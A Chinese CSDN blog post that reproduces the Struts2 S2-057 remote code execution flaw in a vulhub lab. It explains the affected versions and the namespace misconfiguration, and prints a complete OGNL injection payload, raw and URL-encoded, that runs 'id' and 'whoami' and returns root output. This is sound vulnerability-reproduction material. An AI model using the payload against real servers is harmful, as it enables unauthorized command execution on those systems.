[漏洞复现]Struts2-057远程命令执行

本文详细介绍了Struts2的S2-057远程代码执行漏洞,涉及受影响的版本、漏洞成因、环境搭建、漏洞验证以及POC演示。通过访问特定URL,可以触发OGNL注入,执行系统命令,如`id`和`whoami`,显示出严重的安全风险。修复此漏洞的关键在于正确配置Struts2的action元素和namespace值。
摘要由CSDN通过智能技术生成

Struts2-057远程代码执行漏洞复现

影响版本:

<= Struts 2.3.34

Struts 2.5.16

简述:

定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行。

url标签未设置value和action值且上层动作未设置或用通配符namespace时可能会导致远程代码执行。

a1waysSelectFul1Namespace为true—action元素没有设置namespace属性,或者使用了通配符

命名空间将由用户从uri传递,并解析为OGNL表达式,最终导致远程代码执行漏洞。

漏洞场景:

在Struts2配置文件中,对未正确配置的action元素提供如下三类返回元素:

a. Redirect Action

b. Action Chaining

c. Postback Result

以上提及的三种都属于Struts2的跳转方式

环境:

vulhub-master/struts2/s2-057

启动之后访问:

http://ip:8080/showcase

可以看到struts的测试页面:

image-20210522150725767

检验:${(111+111)}/actionChain1.action

访问:

http://192.168.17.134:8080/showcase/${(111+111)}/actionChain1.action后:

url变为:

http://192.168.17.134:8080/showcase/222/register2.action

111+111=222,说明产生了OGNL注入。

POC:执行id命令:

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request[‘struts.valueStack’].context).(#cr=#ct[‘com.opensymphony.xwork2.ActionContext.container’]).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec(‘id’)).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

将POC进行url编码后拼接:

http://192.168.17.134:8080/showcase/%24%7B%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B’struts.valueStack’%5D.context).(%23cr%3D%23ct%5B’com.opensymphony.xwork2.ActionContext.container’%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(‘id’)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action

访问之后url中返回命令id执行之后的结果。

http://192.168.17.134:8080/showcase/uid=0(root)%20gid=0(root)%20groups=0(root)%20/register2.action

image-20210522154740682

whoami命令:

http://192.168.17.134:8080/showcase/%24%7B%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B’struts.valueStack’%5D.context).(%23cr%3D%23ct%5B’com.opensymphony.xwork2.ActionContext.container’%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(‘whoami’)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action

返回:

http://192.168.17.134:8080/showcase/root%20/register2.action

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值